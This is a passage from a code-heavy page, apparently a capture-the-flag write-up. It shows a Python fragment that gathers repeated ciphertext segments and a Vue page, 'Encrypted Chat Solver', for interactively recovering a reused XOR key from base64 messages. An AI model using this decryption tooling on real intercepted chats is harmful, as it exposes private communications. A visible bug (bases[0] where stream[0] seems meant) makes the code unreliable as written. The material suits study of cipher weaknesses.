<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> high_bits.</span><span style="color: #B2CCD6">count</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">high_bits</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">l</span><span style="color: #C792EA">-</span><span style="color: #F78C6C">1</span><span style="color: #82AAFF">:r</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> i</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> k:</span></span>
<span><span style="color: #D6DEEB">        l </span><span style="color: #C792EA">-=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> high_bits.</span><span style="color: #B2CCD6">count</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">high_bits</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">l:r</span><span style="color: #C792EA">+</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">]</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> i</span><span style="color: #D6DEEB">) </span><span style="color: #C792EA">==</span><span style="color: #D6DEEB"> k:</span></span>
<span><span style="color: #D6DEEB">        r </span><span style="color: #C792EA">+=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1</span></span>
<span><span style="color: #D6DEEB">    pattern </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> high_bits[l:r]</span></span>
<span><span style="color: #D6DEEB">    ciphertexts </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #D9F5DD">[]</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">while</span><span style="color: #D6DEEB"> (p </span><span style="color: #C792EA">:=</span><span style="color: #D6DEEB"> high_bits.</span><span style="color: #B2CCD6">find</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">pattern</span><span style="color: #D9F5DD">,</span><span style="color: #82AAFF"> i</span><span style="color: #D6DEEB">)) </span><span style="color: #C792EA">!=</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">-</span><span style="color: #F78C6C">1</span><span style="color: #D6DEEB">:</span></span>
<span><span style="color: #D6DEEB">        ciphertexts.</span><span style="color: #B2CCD6">append</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">stream</span><span style="color: #D6DEEB">[</span><span style="color: #82AAFF">p:p</span><span style="color: #C792EA">+</span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">pattern</span><span style="color: #D6DEEB">)])</span></span>
<span><span style="color: #D6DEEB">        i </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> p </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">len</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">pattern</span><span style="color: #D6DEEB">)</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #B2CCD6">solve</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">ciphertexts</span><span style="color: #D6DEEB">)</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="HTML 代码块" data-v-c675dba6>HTML</h3><ile-root id="ile-51"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-51--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #994CC3">&lt;!DOCTYPE </span><span style="color: #4876D6">html</span><span style="color: #994CC3">&gt;</span></span>
<span></span>
<span><span style="color: #994CC3">&lt;html&gt;</span></span>
<span></span>
<span><span style="color: #994CC3">&lt;head&gt;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;meta </span><span style="color: #4876D6">charset</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">utf-8</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;title&gt;</span><span style="color: #403F53">Encrypted Chat Solver</span><span style="color: #994CC3">&lt;/title&gt;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;script </span><span style="color: #4876D6">src</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">https://unpkg.com/vue@3/dist/vue.global.prod.js</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;&lt;/script&gt;</span></span>
<span><span style="color: #994CC3">&lt;/head&gt;</span></span>
<span></span>
<span><span style="color: #994CC3">&lt;body&gt;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;div </span><span style="color: #4876D6">id</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">app</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">&lt;label&gt;</span><span style="color: #403F53">Input: </span><span style="color: #994CC3">&lt;input </span><span style="color: #4876D6">v-model</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">input</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;&lt;/label&gt;</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">&lt;div </span><span style="color: #4876D6">style</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">font-family: monospace; font-size: 1rem; white-space: pre;</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #403F53">      </span><span style="color: #994CC3">&lt;div </span><span style="color: #4876D6">v-for</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">(plaintext, i) of plaintexts</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">:key</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">i</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">style</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">margin-top: 1rem; display: flex; gap: 1px;</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">&lt;div </span><span style="color: #4876D6">v-for</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">(c, p) in plaintext</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">:key</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">p</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">@click</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">changeKey(i, p, c)</span><span style="color: #111111">&quot;</span><span style="color: #994CC3"> </span><span style="color: #4876D6">style</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">padding: 1px; cursor: pointer;</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span></span>
<span><span style="color: #403F53">          </span><span style="color: #994CC3">&lt;span </span><span style="color: #4876D6">v-if</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">isAsciiPrintable(c)</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span><span style="color: #403F53">{{ c }}</span><span style="color: #994CC3">&lt;/span&gt;</span></span>
<span><span style="color: #403F53">          </span><span style="color: #994CC3">&lt;span </span><span style="color: #4876D6">v-else</span><span style="color: #994CC3"> </span><span style="color: #4876D6">style</span><span style="color: #994CC3">=</span><span style="color: #111111">&quot;</span><span style="color: #C96765">color: red;</span><span style="color: #111111">&quot;</span><span style="color: #994CC3">&gt;</span><span style="color: #403F53">?</span><span style="color: #994CC3">&lt;/span&gt;</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">&lt;/div&gt;</span></span>
<span><span style="color: #403F53">      </span><span style="color: #994CC3">&lt;/div&gt;</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">&lt;/div&gt;</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;/div&gt;</span></span>
<span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;script&gt;</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">const {</span><span style="color: #4876D6">createApp</span><span style="color: #994CC3">, </span><span style="color: #4876D6">ref</span><span style="color: #994CC3">, </span><span style="color: #4876D6">computed</span><span style="color: #994CC3">, </span><span style="color: #4876D6">watch</span><span style="color: #994CC3">} = </span><span style="color: #403F53">Vue;</span></span>
<span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">createApp</span><span style="color: #403F53">({</span></span>
<span><span style="color: #403F53">      </span><span style="color: #4876D6">setup</span><span style="color: #111111">()</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">const</span><span style="color: #994CC3"> </span><span style="color: #4876D6">input</span><span style="color: #994CC3"> = </span><span style="color: #4876D6">ref</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;&#39;</span><span style="color: #403F53">);</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">const</span><span style="color: #994CC3"> </span><span style="color: #4876D6">bases</span><span style="color: #994CC3"> = </span><span style="color: #4876D6">computed</span><span style="color: #403F53">(</span><span style="color: #111111">()</span><span style="color: #994CC3"> =&gt; {</span></span>
<span><span style="color: #994CC3">          try {</span></span>
<span><span style="color: #994CC3">            return </span><span style="color: #4876D6">JSON</span><span style="color: #994CC3">.</span><span style="color: #4876D6">parse</span><span style="color: #403F53">(</span><span style="color: #0C969B">input</span><span style="color: #994CC3">.</span><span style="color: #0C969B">value</span><span style="color: #403F53">)</span><span style="color: #994CC3">.</span><span style="color: #4876D6">map</span><span style="color: #403F53">(</span><span style="color: #111111">(</span><span style="color: #403F53">b64</span><span style="color: #111111">)</span><span style="color: #994CC3"> =&gt; </span><span style="color: #0C969B">Array</span><span style="color: #994CC3">.</span><span style="color: #4876D6">from</span><span style="color: #403F53">(</span><span style="color: #4876D6">atob</span><span style="color: #403F53">(b64)))</span><span style="color: #994CC3">;</span></span>
<span><span style="color: #994CC3">          } catch {</span></span>
<span><span style="color: #994CC3">            return</span><span style="color: #403F53"> []</span><span style="color: #994CC3">;</span></span>
<span><span style="color: #994CC3">          }</span></span>
<span><span style="color: #994CC3">        }</span><span style="color: #403F53">);</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">const</span><span style="color: #994CC3"> </span><span style="color: #4876D6">key</span><span style="color: #994CC3"> = </span><span style="color: #4876D6">ref</span><span style="color: #403F53">([]);</span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">watch</span><span style="color: #403F53">(bases, </span><span style="color: #111111">(</span><span style="color: #403F53">stream</span><span style="color: #111111">)</span><span style="color: #403F53"> </span><span style="color: #994CC3">=&gt;</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">          </span><span style="color: #0C969B">key</span><span style="color: #994CC3">.</span><span style="color: #0C969B">value</span><span style="color: #403F53"> </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">new</span><span style="color: #403F53"> </span><span style="color: #4876D6">Array</span><span style="color: #403F53">(bases[</span><span style="color: #AA0982">0</span><span style="color: #403F53">]</span><span style="color: #994CC3">?.</span><span style="color: #0C969B">length</span><span style="color: #403F53">)</span><span style="color: #994CC3">.</span><span style="color: #4876D6">fill</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">);</span></span>
<span><span style="color: #403F53">        });</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #4876D6">const</span><span style="color: #994CC3"> </span><span style="color: #4876D6">plaintexts</span><span style="color: #994CC3"> = </span><span style="color: #4876D6">computed</span><span style="color: #403F53">(</span><span style="color: #111111">()</span><span style="color: #994CC3"> =&gt;</span></span>
<span><span style="color: #994CC3">          </span><span style="color: #0C969B">bases</span><span style="color: #994CC3">.</span><span style="color: #111111">value</span><span style="color: #994CC3">.</span><span style="color: #4876D6">map</span><span style="color: #403F53">(</span><span style="color: #111111">(</span><span style="color: #403F53">base</span><span style="color: #111111">)</span><span style="color: #994CC3"> =&gt; {</span></span>
<span><span style="color: #994CC3">            return </span><span style="color: #0C969B">base</span><span style="color: #994CC3">.</span><span style="color: #4876D6">map</span><span style="color: #403F53">(</span><span style="color: #111111">(</span><span style="color: #403F53">c</span><span style="color: #994CC3">, </span><span style="color: #403F53">i</span><span style="color: #111111">)</span><span style="color: #994CC3"> =&gt; </span><span style="color: #0C969B">String</span><span style="color: #994CC3">.</span><span style="color: #4876D6">fromCharCode</span><span style="color: #403F53">(</span><span style="color: #0C969B">c</span><span style="color: #994CC3">.</span><span style="color: #4876D6">charCodeAt</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">)</span><span style="color: #994CC3"> ^ </span><span style="color: #0C969B">key</span><span style="color: #994CC3">.</span><span style="color: #0C969B">value</span><span style="color: #403F53">[i]))</span><span style="color: #994CC3">;</span></span>
<span><span style="color: #994CC3">          }</span><span style="color: #403F53">)</span></span>
<span><span style="color: #994CC3">        </span><span style="color: #403F53">);</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">function</span><span style="color: #403F53"> </span><span style="color: #4876D6">isAsciiPrintable</span><span style="color: #111111">(</span><span style="color: #403F53">c</span><span style="color: #111111">)</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">          </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #0C969B">c</span><span style="color: #994CC3">.</span><span style="color: #4876D6">charCodeAt</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">) </span><span style="color: #994CC3">&gt;=</span><span style="color: #403F53"> </span><span style="color: #AA0982">32</span><span style="color: #403F53"> </span><span style="color: #994CC3">&amp;&amp;</span><span style="color: #403F53"> </span><span style="color: #0C969B">c</span><span style="color: #994CC3">.</span><span style="color: #4876D6">charCodeAt</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">) </span><span style="color: #994CC3">&lt;=</span><span style="color: #403F53"> </span><span style="color: #AA0982">126</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">        }</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">function</span><span style="color: #403F53"> </span><span style="color: #4876D6">changeKey</span><span style="color: #111111">(</span><span style="color: #403F53">i, p, oldChar</span><span style="color: #111111">)</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">          </span><span style="color: #4876D6">const</span><span style="color: #994CC3"> </span><span style="color: #4876D6">newChar</span><span style="color: #994CC3"> = </span><span style="color: #4876D6">prompt</span><span style="color: #403F53">(</span><span style="color: #403F53">`</span><span style="color: #4876D6">Change &#39;</span><span style="color: #D3423E">${</span><span style="color: #403F53">oldChar</span><span style="color: #D3423E">}</span><span style="color: #4876D6">&#39; to:</span><span style="color: #403F53">`</span><span style="color: #5F7E97">,</span><span style="color: #994CC3"> </span><span style="color: #403F53">oldChar)</span><span style="color: #994CC3">?.</span><span style="color: #403F53">[</span><span style="color: #AA0982">0</span><span style="color: #403F53">];</span></span>
<span><span style="color: #403F53">          </span><span style="color: #994CC3">if</span><span style="color: #403F53"> (</span><span style="color: #994CC3">!</span><span style="color: #403F53">newChar) </span><span style="color: #994CC3">return</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">          </span><span style="color: #0C969B">key</span><span style="color: #994CC3">.</span><span style="color: #0C969B">value</span><span style="color: #403F53">[p] </span><span style="color: #994CC3">^=</span><span style="color: #403F53"> </span><span style="color: #0C969B">plaintexts</span><span style="color: #994CC3">.</span><span style="color: #0C969B">value</span><span style="color: #403F53">[i][p]</span><span style="color: #994CC3">.</span><span style="color: #4876D6">charCodeAt</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">) </span><span style="color: #994CC3">^</span><span style="color: #403F53"> </span><span style="color: #0C969B">newChar</span><span style="color: #994CC3">.</span><span style="color: #4876D6">charCodeAt</span><span style="color: #403F53">(</span><span style="color: #AA0982">0</span><span style="color: #403F53">);</span></span>
<span><span style="color: #403F53">        }</span></span>
<span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">return</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">          input,</span></span>
<span><span style="color: #403F53">          plaintexts,</span></span>
<span><span style="color: #403F53">          isAsciiPrintable,</span></span>
<span><span style="color: #403F53">          changeKey,</span></span>
<span><span style="color: #403F53">        }</span></span>
<span><span style="color: #403F53">      },</span></span>
<span><span style="color: #403F53">    })</span><span style="color: #994CC3">.</span><span style="color: #4876D6">mount</span><span style="color: #403F53">(</span><span style="color: #111111">&#39;</span><span style="color: #C96765">#app</span><span style="color: #111111">&#39;</span><span style="color: #403F53">);</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">&lt;/script&gt;</span></span>
<span><span style="color: #994CC3">&lt;/body&gt;</span></span>
<span></span>
<span><span style="color: #994CC3">&lt;/html&gt;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #7FDBCA">&lt;!</span><span style="color: #CAECE6">DOCTYPE</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">html</span><span style="color: #7FDBCA">&gt;</span></span>
<span></span>
<span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">html</span><span style="color: #7FDBCA">&gt;</span></span>
<span></span>
<span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">head</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">meta</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">charset</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">utf-8</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">title</span><span style="color: #7FDBCA">&gt;</span><span style="color: #D6DEEB">Encrypted Chat Solver</span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">title</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">script</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">src</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">https://unpkg.com/vue@3/dist/vue.global.prod.js</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;&lt;/</span><span style="color: #CAECE6">script</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">head</span><span style="color: #7FDBCA">&gt;</span></span>
<span></span>
<span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">body</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">id</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">app</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">label</span><span style="color: #7FDBCA">&gt;</span><span style="color: #D6DEEB">Input: </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">input</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">v-model</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">input</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;&lt;/</span><span style="color: #CAECE6">label</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">style</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">font-family: monospace; font-size: 1rem; white-space: pre;</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">v-for</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">(plaintext, i) of plaintexts</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">:key</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">i</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">style</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">margin-top: 1rem; display: flex; gap: 1px;</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">v-for</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">(c, p) in plaintext</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">:key</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">p</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">@click</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">changeKey(i, p, c)</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">style</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">padding: 1px; cursor: pointer;</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">span</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">v-if</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">isAsciiPrintable(c)</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span><span style="color: #D6DEEB">{{ c }}</span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">span</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">span</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">v-else</span><span style="color: #7FDBCA"> </span><span style="color: #C5E478">style</span><span style="color: #7FDBCA">=</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">color: red;</span><span style="color: #D9F5DD">&quot;</span><span style="color: #7FDBCA">&gt;</span><span style="color: #D6DEEB">?</span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">span</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;/</span><span style="color: #CAECE6">div</span><span style="color: #7FDBCA">&gt;</span></span>
<span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">&lt;</span><span style="color: #CAECE6">script</span><span style="color: #7FDBCA">&gt;</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">const {</span><span style="color: #82AAFF">createApp</span><span style="color: #C792EA">, </span><span style="color: #82AAFF">ref</span><span style="color: #C792EA">, </span><span style="color: #82AAFF">computed</span><span style="color: #C792EA">, </span><span style="color: #82AAFF">watch</span><span style="color: #C792EA">} = </span><span style="color: #D7DBE0">Vue</span><span style="color: #D6DEEB">;</span></span>
<span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">createApp</span><span style="color: #D6DEEB">({</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #82AAFF">setup</span><span style="color: #D9F5DD">()</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #82AAFF">const</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">input</span><span style="color: #C792EA"> = </span><span style="color: #82AAFF">ref</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&#39;&#39;</span><span style="color: #D6DEEB">);</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #82AAFF">const</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">bases</span><span style="color: #C792EA"> = </span><span style="color: #82AAFF">computed</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">()</span><span style="color: #C792EA"> =&gt; {</span></span>
<span><span style="color: #C792EA">          try {</span></span>
<span><span style="color: #C792EA">            return </span><span style="color: #82AAFF">JSON</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">parse</span><span style="color: #D6DEEB">(</span><span style="color: #7FDBCA">input</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">value</span><span style="color: #D6DEEB">)</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">map</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">b64</span><span style="color: #D9F5DD">)</span><span style="color: #C792EA"> =&gt; </span><span style="color: #7FDBCA">Array</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">from</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">atob</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">b64</span><span style="color: #D6DEEB">)))</span><span style="color: #C792EA">;</span></span>
<span><span style="color: #C792EA">          } catch {</span></span>
<span><span style="color: #C792EA">            return</span><span style="color: #D6DEEB"> []</span><span style="color: #C792EA">;</span></span>
<span><span style="color: #C792EA">          }</span></span>
<span><span style="color: #C792EA">        }</span><span style="color: #D6DEEB">);</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #82AAFF">const</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">key</span><span style="color: #C792EA"> = </span><span style="color: #82AAFF">ref</span><span style="color: #D6DEEB">([]);</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #82AAFF">watch</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">bases</span><span style="color: #D6DEEB">, </span><span style="color: #D9F5DD">(</span><span style="color: #D7DBE0">stream</span><span style="color: #D9F5DD">)</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=&gt;</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #7FDBCA">key</span><span style="color: #C792EA">.</span><span style="color: #7FDBCA">value</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">new</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">Array</span><span style="color: #D6DEEB">(</span><span style="color: #D7DBE0">bases</span><span style="color: #D6DEEB">[</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">]</span><span style="color: #C792EA">?.</span><span style="color: #7FDBCA">length</span><span style="color: #D6DEEB">)</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">fill</span><span style="color: #D6DEEB">(</span><span style="color: #F78C6C">0</span><span style="color: #D6DEEB">);</span></span>
<span><span style="color: #D6DEEB">        });</span></span>
<span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #82AAFF">const</span><span style="color: #C792EA"> </span><span style="color: #82AAFF">plaintexts</span><span style="color: #C792EA"> = </span><span style="color: #82AAFF">computed</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">()</span><span style="color: #C792EA"> =&gt;</span></span>
